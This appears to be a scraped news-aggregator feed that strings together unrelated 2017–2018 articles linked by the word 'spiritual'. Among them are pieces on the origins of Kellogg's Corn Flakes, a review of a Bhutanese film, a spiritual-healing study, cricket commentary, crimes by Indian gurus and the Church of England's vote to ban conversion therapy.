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]]> https://briefnews.eu/penny-dreadful-city-of-angels-premiere-recap-did-the-spiritual-descendant-live-up-to-the-promise-of-its-bloodline/feed/ 0 Holy Grain: The Spiritual Beginnings of Kellogg’s Corn Flakes https://briefnews.eu/holy-grain-the-spiritual-beginnings-of-kelloggs-corn-flakes/ https://briefnews.eu/holy-grain-the-spiritual-beginnings-of-kelloggs-corn-flakes/#respond Wed, 08 Aug 2018 08:43:49 +0000 http://briefnews.eu/holy-grain-the-spiritual-beginnings-of-kelloggs-corn-flakes/ As new patients approached the sprawling grounds of Battle Creek Sanitarium, they saw men in short-sleeve shirts and women in floor-length dresses doing lunges and backbends. New arrivals soon noticed their tanner cheeks and shrunken waistlines — taking on a cultivated air of health, well-being and moral fortitude. They were there because their health had fallen apart, and Dr. John Harvey Kellogg was the man to put them back together. So long as they submitted to his unorthodox ways …

Like bathing in the sun for phototherapy, being blasted with water in an enormous tub, attending lectures on the evils of spicy food, getting jolted by electricity to stimulate muscles or having an enema if they were feeling down. Kellogg’s therapies were all part of his mission to restore the physical and spiritual health of America. The biggest challenge, as he saw it? Curing America’s biggest so-called sin: masturbation. Kellogg believed a clean diet brought one closer to God, so he focused his handiwork on the creation of Kellogg’s Corn Flakes.

The crunchy breakfast cereal was invented in the late 1800s and quickly become known for being high in fiber but low on taste — a perfect cornerstone for Kellogg’s governing philosophy on “biologic living.” Back then, the United States was not a healthy place: The very small food pyramid for the average American involved a lot of meat, fat and alcohol. Indigestion ran rampant, and a health movement arose to fight for America’s moral and dietary fiber. Don Scherencel, director of the Historic Adventist Village, home to the Dr. John Kellogg Discovery Center, says Kellogg never saw a healthy colon in all his years performing surgeries. “Everybody came to Battle Creek because their body wasn’t healthy, and [Kellogg] was there to help.”

There were 101 cereal companies founded right here, because if it said Battle Creek on the box, then it had to be healthy.

Don Scherencel

For Kellogg, diet and disposition were intrinsically linked, and he believed that moral degradation and the desire to consume heavily spiced foods was a vicious cycle — one that would eventually leave humans physically and morally bankrupt. “Highly seasoned [meats], stimulating sauces … and dainty tidbits in endless variety, irritate [the] nerves and … react upon the sexual organs,” he wrote in Plain Facts for Young and Old. Simply put, the road to hell was paved with dipping sauce.

The solution? Instead of a diet based in animal fats and white starches, Kellogg promoted simpler foods — fiber and whole carbohydrates (cue an era that saw the birth of graham crackers and granola). And his contribution to cereal goodness was a simple, high-fiber alternative devoid of variety, sugar or any other “dainty tidbits” that might react with the sex organs. Simply put, in order to stop the moral decay plaguing America, Kellogg had to get men’s hands out of their pants and into cereal boxes.

Kellogg’s link between morality and diet is not an enormous surprise given that he was a staunch Seventh-day Adventist, a religious movement that started in 1860 and preached strict adherence to vegetarianism and biblical dietary rules. The socially conservative group valued abstinence, other than in the pursuit of babies. Overachiever that Kellogg was, he reportedly abstained from sexual intercourse with his own wife, opting instead to adopt children.

John Kellogg

Beliefs aside, Kellogg’s sanitarium did manage to make people feel better. “If it didn’t work, Battle Creek Sanitarium wouldn’t have continued to grow,” Scherencel explains. Famous personalities like Mary Todd Lincoln, Sojourner Truth and Thomas Edison sought Kellogg’s therapies, and the Michigan institution soon became the place to be for resurrecting one’s physical and spiritual well-being at the turn of the last century.

But even more people were desperate to get their hands on Kellogg’s corn flake cereal. This was not just a function of the American desire to start their day with a belly full of fiber; the industrial revolution meant that more people were living in city centers and leaving their houses early for work. In those changing times, convenience became king to American consumers, and cereal was a fast, easy breakfast for people heading to work.

Kellogg began traveling the country and giving lectures on his therapies as an opportunity to spread his gospel of high fiber and biologic living. But Kellogg seemed to care more about his clean-living message than product sales. He went so far as to give his recipe for corn flakes away during his lectures, which led to a number of knockoffs but — unsurprisingly — no noticeable decline in sexual activity. C.W. Post, a former patient of Kellogg and founder of Post Cereals, took the recipe and ran, creating similar high-fiber cereals with added sugar (and minus the sanctimony). “At one point, Battle Creek was known as health city. There were 101 cereal companies founded right here, because if it said Battle Creek on the box, then it had to be healthy,” says Scherencel.

Meanwhile, Kellogg’s brother, Will Kellogg, who was employed as a bookkeeper at the sanitarium, had his hand deep in the cereal box — looking for a profit. While John Harvey Kellogg invented the cereal, his own brother undermined him by founding the Kellogg Company and marketing it to the world. And to add insult to injury, Will Kellogg committed the cardinal sin of adding sugar to the original Kellogg recipe, thus endangering the souls of customers in the most delicious way. The added sugar and stolen recipe were enough to lock the brothers in a brutal feud that lasted for years.

John Harvey Kellogg preached that bland eating was the path to spiritual enlightenment and physical well-being, but ultimately convenience and great taste won out over his moral crusade. And while his brother went on to grow Kellogg Cereals into the breakfast staple it is today, the doctor continued caring for the spiritual and physical well-being of his patients in Battle Creek to his dying day.

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]]> https://briefnews.eu/holy-grain-the-spiritual-beginnings-of-kelloggs-corn-flakes/feed/ 0 ‘Travelers and Magicians’ Tells the Struggle For Spiritual Identity in the Modern World https://briefnews.eu/travelers-and-magicians-tells-the-struggle-for-spiritual-identity-in-the-modern-world/ https://briefnews.eu/travelers-and-magicians-tells-the-struggle-for-spiritual-identity-in-the-modern-world/#respond Thu, 02 Aug 2018 16:24:18 +0000 http://briefnews.eu/travelers-and-magicians-tells-the-struggle-for-spiritual-identity-in-the-modern-world/ travelers and magicians

(Welcome to A Passage to India, a new series where we explore great works from all over South Asia for unacquainted viewers, all of them available to stream.)

To cinema, he’s Khyenste Norbu, New York Film Academy alumnus, consultant to Bertolucci on Little Buddha and Bhutan’s premier director. His second feature, Travelers and Magicians, was the first to be shot entirely in the Kingdom; his third, Vara: A Blessing, was the first Bhutanese film in the English language.

To Tibetan and Bhutanese Buddhism however, he’s Dzongsar Jamyang Khyentse Rinpoche, a reincarnate lama and the grandson of spiritual leader Dudjom Jigdral Yeshe Dorje, the first supreme head of the Nyingma lineage appointed by none other than the fourteenth and current Dalai Lama. Few filmmakers occupy such a unique cultural space.

It would be natural to think these worlds incompatible. One some level, Norbu himself might agree; such is the tragedy of modernity, captured here on celluloid in ways that attempt to reconcile two warning halves of the soul. Dzongkha-language Travelers and Magicians (2003) tells the tale of a man trapped similarly between realities. A city dweller, appointed to a tiny village in the Kingdom of Bhutan on India’s north-eastern border, making his way to America in a tale that feels both fundamentally Buddhist, and yet fundamentally Western. An internal struggle, externalized ethereally, in the form of stories within stories.

Dondup, the Discontented

Bhutan is often considered the world’s happiest country — usually by its own metric. Travelers and Magicians opens with a tour of this characteristic joy. A rural happiness, born from breathing in the pure air of the lush-green mountains. A traditional warmth, bouncing between men dressed in colourful gho shooting arrows at targets, not for competition or sport, but for each other’s enjoyment. These villagers are simple, but buoyant, partaking in simple rituals for the sake of togetherness. Their happiness is that of neighbors who bid even village newcomers farewell, with gifts of cheese and words of comfort.

One such newcomer, on his way out the door no sooner than he arrives, is Dondup (Tshewang Dendup), who stands apart from the rest of the village. His hair is long. He smokes in secret. His gho is black; it droops, as if neglected. His very presence feels disrespectful. He owns an “I [Heart] New York” t-shirt, which he wears with denims under his traditional garb, and he trades in prayer flags for pictures of models and an Uncle Sam poster, displayed on his wall. His cassette tapes, which he blasts from a characteristically ’90s boombox, are all in English. Dondup dreams of a life in America. He waits impatiently for a letter from abroad summoning him to Thimpu, the capital city, where he hopes to acquire a Visa. Unbeknownst to his employers, his new government posting in the village won’t last; he knows he’s destined for the West, be it as a dishwasher or an apple picker or any job he can find — a step down in status from his current employ, yet several steps up financially.

Condescension is Dondup’s calling card. To him, anything is better than the restaurant-less, cinema-less mundanity of the Kingdom’s interiors. He is unhappy. He desires luxuries just outside his grasp. It can be argued desire is the cause of his unhappiness, as the central teachings of Buddhism would tell you. Travelers and Magicians however, has no intention of converting anyone to asceticism, least of all its protagonist. Whatever the root of Dondup’s sorrows, it’s their manifestation that needs correcting; rural simplicity may not be his calling, but he looks down on those who find contentment in the ways of the old-world and its spiritual musings.

When the letter arrives, Dondup rushes to the roadside to hitch a ride to the future. Thimpu is two day’s drive, and the city’s upcoming religious festival means Dondup isn’t the only one waiting for car or depending on the kindness of others. En route to America, the land of his dreams, a place where “they don’t even know where Bhutan is,” Dondup waits by the road with fellow hitchhikers (a monk, an apple picker, a rice paper salesman and his daughter Sonam) whom he, at first, doesn’t allow himself to connect with. Whatever their struggles, whatever their stories, they’re simply hurdles to Dondup’s journey. Though in being forced to see their humanity, their kindness, and their perspectives up close, this city-dweller bound for technological marvels begins to see the magic around him — not only in the mountains, but in its people.

Norbu’s M.O. might be subtle — much of its story hinges on mere glances by Tshewang Dendup, the film’s only professional actor — but Travelers and Magicians is deeply affecting. It plays, in itself, like an act of reconciliation, arriving at answers that seek not to bridge impossible physical and cultural gaps, but to guide one as they navigate the journey between them.

Picture-in-Picture

For most other films steeped in religious doctrine, the appearance of a literal preacher — in this case, a Buddhist monk hitchhiking alongside Dondup — would ordinarily spell narrative doom. Writer-director Norbu, however, uses this authorial stand-in for a more esoteric purpose than sermon. Upon recognizing Dondup’s irritability (towards the apple-picker, and towards the monk himself), the Buddhist, a cheeky twenty-something with a sparkle in his eye, strums away on his dramyin and tells the tale of two brothers as a parable for Dondup’s journey.

Rather than an instructional on morality, the monk’s story — broken up each time the group hitches a ride and resuming during breaks and nightfall — is a cautionary tale of the all-consuming nature of desire, should it go unchecked. The sepia-washed apologue plays like a flashback, telling the story of older brother Tashi, a student of magic with his head in the clouds, and younger brother Karma, who envies the opportunities Tashi seems to waste. Fed-up with his brother’s squandered potential and desire to escape, and perhaps seeking to replace him, Karma slips a strange herbal mixture into Tashi’s drink.

The concoction awakens something deep within the magician-in-training. He begins seeing the world in new hues — shades of blue and green layered over the sepia, as if merging dream with reality — as time begins to accelerate and the heavens pour down on him. Tashi rides a magical horse helter-skelter to escape the pelting rain, going further than he ought to and landing up outside an isolated jungle dwelling that feels plucked from a different era. Stranded mid-forest and with no memory of his path, he knocks on the door. An old woodcutter and his young wife, Deki, take Tashi in, healing his wounds and feeding him until he’s ready to leave. He eventually overstays his welcome; Deki draws his gaze just as he draws hers. The young conjurer is far more suited to Deki than her cranky old hsuband, but Tashi’s presence is still an intrusion in this mysterious abode.

As time goes on, and as the woodcutter remains silent about the ongoing affair, Tashi’s reality begins to exhibit surreal hues once more. Days turn to weeks, and weeks to months, yet time seems to stand still. Tashi’s plan to kill the old man and replace him, by poisoning his drink no less, leaves him trapped in a cycle of difficult decisions with results are outside his control. Life in this new world is chaos, and Tashi has no way to return from it.

The dreamlike fable, while thematically similar, acts in direct contrast to Dondup’s narrative. The realist approach to the Bhutanese hillside, with wide lenses allowing Dondup to breathe in his surroundings (even though he’d rather be elsewhere) find themselves replaced by long, voyeuristic telephotos as Tashi peers in on rooms, situations and a wife that are not his. The monk’s friendly cadence and occasional teasing of the privileged Dondup suggest this “warning” isn’t meant to deter the America-bound official, though its be-careful-what-you-wish-for morality allows Dondup to come to his own conclusions.

That is to say, now smitten with the rice paper salesman’s daughter after two days on the road, Dondup, like Tashi, is now in a more vulnerable position. As the group travels, any decision Dondup makes affects more than just himself. Every action comes with a weight strapped to it. By choice, or otherwise, Dondup the loner is now part of a community, tethered to those around him.

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]]> https://briefnews.eu/travelers-and-magicians-tells-the-struggle-for-spiritual-identity-in-the-modern-world/feed/ 0 Spiritual healing ‘works’ https://briefnews.eu/spiritual-healing-works-2/ https://briefnews.eu/spiritual-healing-works-2/#respond Sun, 20 May 2018 00:23:17 +0000 http://briefnews.eu/spiritual-healing-works-2/

It involved 200 patients with hard-to-treat gut problems including irritable bowel syndrome, Crohn’s disease and colitis.

Half were treated with conventional medicine only and half with non-faith healing therapy alongside their usual conventional treatment for the first three months.

Then the group that had only received conventional medicine received a series of spiritual healing sessions.

During the six-month trial, the researchers measured patients’ symptoms, pain level, quality of life and well-being, and concluded that adding spiritual healing to conventional care showed significant improvements that were sustained for six months.

Now the researchers from the University of Birmingham Medical School and Good Hope Hospital, Birmingham, want to see if spiritual healing improves the health of patients with other treatmentresistant conditions such as chronic fatigue syndrome.

Dr Sukhdev Singh, consultant gastroenterologist from Good Hope Hospital, said: “I do not know how it works, however, many studies have evaluated the effectiveness of spiritual healing but this is one of the first which has been conducted with proper scientific rigour.”

The therapy involved a healer “channelling healing energy”, either with or without touch. The findings of the study are to be presented at the United European Gastroenterology Week in Vienna.

The results are published in the European Journal of Integrative Medicine and a book Healing In A Hospital.

Anecdotal reports of the benefits of spiritual healing include that of Michael Flatley, 59, the IrishAmerican creator of Riverdance who could barely walk after a virus.

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]]> https://briefnews.eu/spiritual-healing-works-2/feed/ 0 Spiritual healing ‘works’ https://briefnews.eu/spiritual-healing-works/ https://briefnews.eu/spiritual-healing-works/#respond Sun, 20 May 2018 00:23:08 +0000 http://briefnews.eu/spiritual-healing-works/

SPIRITUAL healing dramatically improves symptoms in longstanding illnesses, a study has found. The two-year project, the largest of its kind, is one of the first rigorous scientific studies to show this often-maligned treatment improves health as claimed.

]]> https://briefnews.eu/spiritual-healing-works/feed/ 0 Descent is getting a spiritual successor May 31 — in VR https://briefnews.eu/descent-is-getting-a-spiritual-successor-may-31-in-vr/ https://briefnews.eu/descent-is-getting-a-spiritual-successor-may-31-in-vr/#respond Sun, 29 Apr 2018 10:35:45 +0000 http://briefnews.eu/descent-is-getting-a-spiritual-successor-may-31-in-vr/

Six degrees of freedom (6DOF) shooters seem to work pretty well in VR, provided you have the stomach for them. If you’re a fan, then there’s a big release next month you should definitely be marking on your calendars. Developer Revival Productions’ Overload is finally coming out of Early Access on May 31 and launching in full on Steam with optional…Read More

]]> https://briefnews.eu/descent-is-getting-a-spiritual-successor-may-31-in-vr/feed/ 0 Boony trait Lyon’s embraced to become spiritual leader https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/ https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/#respond Sat, 09 Dec 2017 04:11:08 +0000 http://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/ FORMER Australia No 3 David Boon wasn’t allergic to a beer.

He was a spiritual leader in the Aussie team and had the huge honour of singing our song ‘Underneath the Southern Cross I stand’ when we won a Test match or series.

Flashback to December 30, 1994. We are in the ‘dungeon’, our name for the dressing room in the bowels of the great MCG.

We circle the human keg that is Boony, who props himself on a bench and gives a couple of words about all of us.

Then he sings. Shivers go down my spine as we share a cold one and scream at the top of our lungs.

Like this series, we had just gone 2-0 up and The Ashes was as good as over.

The figures from this series tell a significant story about the respective attacks.

The Aussies have taken 40 wickets at an average of 24, England’s has 28 at 39.

For all the chat of short bowling, the Aussie quick cartel has pitched the new ball fuller then England.

Each looks capable of running through the English batting line-up.

Then there is Nathan Lyon. It’s turning into Groundhog Day for the English lefties facing him.

He has Moeen Ali four times, Alastair Cook, Dawid Malan and Mark Stoneman once.

They look a walking wicket when facing him and have to develop a run-scoring plan.

The Brisbane first innings led to some English optimism with the inexperienced trio of Stoneman, Malan and James Vince making 50s.

But the Aussies have now found ways to slow the runs from Stoneman and Malan and have just plain beaten Vince.

It’s time to get Jonny Bairstow up the order.

He looks the most likely English batsman, bar Joe Root, to score a century but is getting left with the tail.

England must turn promising fifties into matchwinning tons, like Australia have.

They have a blueprint of how to hurt the Aussies with their bowling from Adelaide. Bowl it up and get them driving on the up with good fields.

Moeen’s bowling is a big concern. He looks like getting a wicket as often a solar eclipse. If he isn’t dangerous he needs to be tight to build pressure.

If the English can’t score tons and bowl a fuller length at the WACA, Lyon — the current singer of the Aussie anthem — will be loosening up his vocal chords by day three.

This article originally appeared in the Sun and has been republished with permission.

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]]> https://briefnews.eu/boony-trait-lyons-embraced-to-become-spiritual-leader/feed/ 0 The Dark Side of India's Spiritual Gurus Comes to Light https://briefnews.eu/the-dark-side-of-indias-spiritual-gurus-comes-to-light/ https://briefnews.eu/the-dark-side-of-indias-spiritual-gurus-comes-to-light/#respond Mon, 11 Sep 2017 04:26:08 +0000 http://briefnews.eu/the-dark-side-of-indias-spiritual-gurus-comes-to-light/ In many parts of northern India on a Friday in late August, trains were canceled, schools and government offices were closed, internet and mobile services were suspended and the army was put on standby as the nation braced for a weekend of violence.

The disruption? Self-proclaimed guru Gurmeet Ram Rahim Singh had been found guilty of raping two female devotees in a case that first came to light in 2002. In the town of Panchkula in Haryana state, thousands of followers of the 50-year-old “godman” protested the verdict by burning vehicles, overturning press vans and pelting security forces with stones. By the time the authorities had regained control, at least 38 people were dead and more than 200 were injured. On the Monday following the weekend of mayhem, a judge sentenced Ram Rahim to 20 years in prison.

Twenty to 30 years ago these [cases] would probably not get reported. No one came forward because no one dared to come forward.

Narendra Nayak, president, Federation of Indian Rationalist Associations

While that mayhem grabbed plenty of headlines, it was hardly an isolated incident involving a rogue spiritual leader. In fact, Ram Rahim joins a growing list of so-called godmen who trail accusations and convictions of serious crimes. No agency or watchdog group compiles data on this type of criminal case, but since 2010 there have been at least six similar high-profile incidents, including Asaram Bapu, a revered spiritual guru and household name in India who was accused in 2013 of raping a 16-year-old girl on the pretext of ridding her of an evil spirit. (He remains in jail while his case drags through the courts.)

According to Swati Parashar, a political science expert and senior lecturer at the University of Gothenburg, sexual exploitation by so-called gurus has been taking place for decades. But what’s new is their increased visibility, she says. And the reason for that, adds Sanjay Srivastava, professor of sociology at Delhi University, is a greater awareness of the contemporary guru as a politically connected public figure and icon of consumerism.

Despite so many cases coming to light, these gurus continue to hold sway over considerable portions of the Indian public. Parashar explains that they have come to fill the voids left by the state. “Many of these gurus run educational institutions [and] hospitals for their followers,” she says, and the followers, especially those who feel marginalized, consider the gurus a path to fulfill their material and spiritual needs. “Many followers are willing to become unquestioning subjects — and willing to put up with a great deal of objectionable behavior — because to follow a rich (and hence successful) guru is to live in the hope that some of his worldly success might rub off on you,” Srivastava tells OZY.

Despite his conviction, the long-haired, thickly bearded Ram Rahim remains for the moment the head of a cult and social welfare group named Dera Sacha Sauda, which translates as “abode of the fair deal.” While Ram Rahim lived in a sprawling, pink-walled mansion in Sirsa and owned a fleet of flashy luxury cars, the more than 60 million followers of the sect are mostly poor, uneducated and rural residents of northern states like Haryana and Punjab. For a religious leader, he has pursued some decidedly secular activities: He’s a musician, music producer, film producer and actor who starred in a movie titled Messenger of God in which he portrayed himself as a motorcycle-riding superhero.

Gurmeet Ram Rahim Singh leader of Dera Sacha Sauda

And yet according to local news reports, he has led sanitation drives, organized disaster relief and established welfare agencies. Shadowing these good works are accusations of murdering a Dera Sacha Sauda manager and a journalist who published an anonymous letter in 2002 accusing the so-called saint of sexual exploitation. According to the Indian Express, both murder cases against Ram Rahim are set to be heard in September. In 2014 Ram Rahim also allegedly urged some 400 followers to get castrated in order to meet God directly, local media reported.

Perhaps what was most shocking about the Ram Rahim riots was that a sizable portion of the crowd that gathered to defend him consisted of women. Narendra Nayak, president of the Federation of Indian Rationalist Associations, has dedicated his life to debunking fake religious leaders. He claims the guru’s followers are brainwashed to such an extent that they even find a way to rationalize rape. “Some women supporters said that the girls were raped as a penance,” says Nayak, “and that he was actually doing them a favor by raping them.”

These gurus also influence politicians and celebrities. According to Nayak, the nexus of politicians and gurus is so strong that “sometimes they act as conduits for money between one another.” And this intersection is the biggest obstacle that rationalists face when trying to expose fraudulent individuals, says Nayak. “That man who sits there is not alone; he’s a figurehead,” he says, calling the mutts, or spiritual organizations run by the gurus, “centers of power, money and exploitation.” Confronting them can be extremely dangerous, as evidenced by the recent murder of journalist and rationalist Gauri Lankesh, an outspoken critic of extremist Hindu nationalism. “Twenty to 30 years ago, these things would probably not get reported,” says Nayak. “No one came forward because no one dared to come forward.” Nayak too has received death threats and even assassination attempts, and now has a government-appointed armed bodyguard with him at all times.

Skeptics see some of these cases stuck in the judicial system, like the proceedings against Asaram Bapu, or get swept under the rug when powerful people are involved. Fortunately, the Ram Rahim case has generated the robust public discourse that we need, says Parashar, adding that the other cases need to be brought to the public’s attention in a similar way.

The fact that the court found Ram Rahim guilty is in itself a great victory. But even before the decision could be celebrated, it was marred by the violence it sparked.

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]]> https://briefnews.eu/the-dark-side-of-indias-spiritual-gurus-comes-to-light/feed/ 0 Hit indie FMV game ‘Her Story’ gets a spiritual sequel https://briefnews.eu/hit-indie-fmv-game-her-story-gets-a-spiritual-sequel/ https://briefnews.eu/hit-indie-fmv-game-her-story-gets-a-spiritual-sequel/#respond Sun, 16 Jul 2017 08:14:31 +0000 http://briefnews.eu/hit-indie-fmv-game-her-story-gets-a-spiritual-sequel/

Did you enjoy Her Story, the indie title that revived the use of full-motion video in games? You’re not alone: Sam Barlow’s game sold over 100,000 copies, a lot for a small-budget release, and won its share of acclaim, including multiple awards. And apparently, that’s enough to help fuel a sequel. Barlow and Annapurna Interactive (the publishers of What Remains of Edith Finch) are producing Telling Lies, a “spiritual follow-up” to Her Story. While they’re tight-lipped as to the narrative, the new game will rely on video to unfurl a plot “in the vein of a political thriller” with three or four key characters. Barlow likens it to a cross between Francis Ford Coppola’s The Conversation and Steve McQueen’s Shame — it’ll look at the “intersection of government, society and individuals.”

The added complexity of dealing with multiple characters promises to spice up the gameplay, but Annapurna’s added financial clout could also help. The publisher is handling all the video production, and it’s looking at recruiting Hollywood talent. While you probably won’t see A-list stars, it could draw in players who were put off by the awkward acting and low-budget sets of 1990s FMV games.

Telling Lies won’t be ready for a while. Barlow doesn’t expect shooting to start until late 2017 or early 2018, and there’s still the question of finishing the gameplay once all the footage is in. Patience might pay off, mind you. Although it’s unlikely that you’ll return to the heyday of FMV in games, this could at least show that video is a viable option for certain stories.

Source: Variety

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]]> https://briefnews.eu/hit-indie-fmv-game-her-story-gets-a-spiritual-sequel/feed/ 0 ‘Spiritual abuse’: Church of England votes to ban gay conversion therapy https://briefnews.eu/spiritual-abuse-church-of-england-votes-to-ban-gay-conversion-therapy/ https://briefnews.eu/spiritual-abuse-church-of-england-votes-to-ban-gay-conversion-therapy/#respond Sun, 09 Jul 2017 18:30:43 +0000 http://briefnews.eu/spiritual-abuse-church-of-england-votes-to-ban-gay-conversion-therapy/

Conversion therapy, the practice of trying to change someone’s sexuality through spiritual counseling, should be outlawed in the UK, according to the Church of England.

The General Synod, the church’s governing body, was initially asked to back a motion condemning the practice as “unethical and harmful.”

However, after an emotional debate the members voted overwhelmingly to demand a ban, Church Times reports.

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© Suzanne Plunkett

The motion was proposed by Jayne Ozanne, who suffered from depression and had a mental breakdown after undergoing the therapy. In an accompanying note she said:

“Conversion therapy is condemned by professionals as being harmful to LGBT people as it is based on a misguided belief that being lesbian, gay, bisexual or transgender is wrong. This leads to increased mental health problems for LGBT community due to stigmatization.”

“[Conversion therapy] is a form of abuse from which vulnerable adults need protecting,” Ozanne said.

READ MORE: Christian exorcisms on the rise, threaten mental health – report

The motion was backed by the Archbishop of York, Dr John Sentamu, who is the second most powerful figure in the church.

Sentamu said that a ban on the “theologically unsound” practice would enable him to sleep at night.

The bishop of Liverpool, Paul Bayes, said being LGBT was neither a crime nor a sin: “We don’t need to engage people in healing therapy if they are not sick.”

The final vote was 298 to 74, with 26 abstentions. The motion had the backing of all three houses of the synod: the bishops, clergy and laity. Church Times report that it will now fall to the church’s public affairs team to implement the motion.

A note from the church’s General Secretary William Nye defined conversion therapy as “the umbrella term for a type of talking therapy or activity which attempts to change sexual orientation or reduce attraction to others of the same sex.”

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